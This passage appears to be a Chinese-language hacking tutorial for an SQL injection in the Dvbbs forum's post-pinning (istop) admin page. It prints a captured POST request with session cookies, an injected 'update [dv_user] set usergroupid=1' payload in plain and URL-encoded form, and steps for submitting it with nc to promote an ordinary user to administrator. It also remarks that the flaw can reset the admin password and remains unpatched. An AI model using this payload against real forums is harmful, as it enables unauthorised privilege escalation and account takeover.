按正常的方式固顶,如图2
到这里我们先暂停,打开WSE抓包工具准备抓取提交的post信息,打开了之后点下确认操作。现在看看WSE抓到些什么东西了,如图3
截取到了post提交信息,复制下来,内容如下:
POST /sql/admin_postings.asp?action=istop HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://192.168.1.254/sql/admin_postings.asp?action=istop
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; TencentTraveler ; .NET CLR 1.1.4322)
Host: 192.168.1.254
Content-Length: 133
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: 192%2E168%2E1%2E254%2Fsql%2F=UserID=1&usercookies=0&password=9pb621664s5w7IL7&userhidden=2&userclass=%B9%DC%C0%ED%D4%B1&username=admin&StatUserID=1929167667; ASPSESSIONIDCATQTATT=JJGHMOMDLJJAAFHAGMLGOMIL; ASPSESSIONIDACTTRATS=NMLHLBBAPMOIEGAIBMBFOIMH; Dvbbs=; upNum=0
istopaction=1&boardID=1&ID=1&title=&content=a&doWealth=0&dousercp=0&douserep=0&msg=&ismsg=&getboard=1&submit=%C8%B7%C8%CF%B2%D9%D7%F7
现在我们做什么呢?把getboard改成1,1);update [dv_user] set usergroupid=1 where userid=2;-- 不过我们得先转下unicode编码,用encoder.exe转一下,转换结果如下%31%2C%31%29%3B%75%70%64%61%74%65%20%5B%64%76%5F%75%73%65%72%5D%20%73%65%74%20%75%73%65%72%67%72%6F%75%70%69%64%3D%31%20%77%68%65%72%65%20%75%73%65%72%69%64%3D%32%3B%2D%2D%20
把那个getboard=1把这个1换为注射语句就行了。这条语句的意思是将userid值为2的用户提到管理员组,不过只是前台管理员哦。然后算一下增加了多少个字符修改下Content-Length的值,我也懒得去数就改成250吧。修改完之后就用NC提交,如图4
意思是将a.txt的内容用nc提交上去然后将返回的信息保存在1.htm里面.
接着打开我们输出的1.htm看看,如图5
语法错误?知道是为什么吗?前面我说过了,Content-Length的长度我没数,语句只执行到1,1);update [dv_user] set usergroupid=1 where user这里,语句都没执行完,能正确吗?不过不要紧,我们把长度多加几个数就改成278吧然后再次提交,然后查看1.htm的输出结果,如图6
看到没有?操作成功。成功执行了我们的注入语句。我们看看userid=2的用户是否成为管理员了,userid=2对应的用户名是:619054,为了省事,我就直接在后台查看下这个用户的权限是否为管理员了,如图7
呵呵,真的提升为管理员了,这个漏洞不光可以将用户从普通权限提升为管理员,而且还可以直接更改后台管理员的密码,这够严重的吧?动网官方论坛到现在都还没出补丁。真够郁闷的